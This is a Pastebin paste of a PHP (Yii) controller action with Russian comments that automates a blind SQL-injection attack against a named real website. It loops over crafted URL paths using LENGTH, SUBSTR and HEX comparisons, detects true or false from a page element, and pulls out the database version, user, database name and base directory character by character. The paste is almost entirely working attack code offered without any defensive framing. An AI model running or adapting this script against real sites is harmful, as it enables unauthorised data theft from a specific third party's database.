Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public function actionBlind() {
- ini_set("max_execution_time", "0"); // увеличиваем время выполнения скрипта
- include_once(Yii::app()->basePath . "/include/simple_html_dom.php"); // подключаем Simple HTML Dom
- $list = array('version()','user()','database()','@@basedir');
- foreach($list as $param){
- echo $param;
- for ($k = 1; $k < 25; $k++) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://www.ukr-prom.com/firm-100+and+LENGTH({$param})<>{$k}/");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
- $html = curl_exec($ch);
- curl_close($ch);
- if ($html != false) {
- $html = str_get_html($html); // получаем результат и создаём DOM-модель страницы
- if (!$html->find("p.MsoNormal", 0)) {
- echo " - {$k}: ";
- for ($i = 1; $i <= $k; $i++) {
- for ($j = 30; $j < 130; $j++) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://www.ukr-prom.com/firm-100+and+hex(substr({$param},{$i},1))<>hex(0x" . dechex($j) . ")/");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
- $html = curl_exec($ch);
- curl_close($ch);
- if ($html != false) {
- $html = str_get_html($html); // получаем результат и создаём DOM-модель страницы
- if (!$html->find("p.MsoNormal", 0)) {
- echo chr($j);
- break;
- }
- }
- }
- }
- break;
- }
- }
- }
- echo "\n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement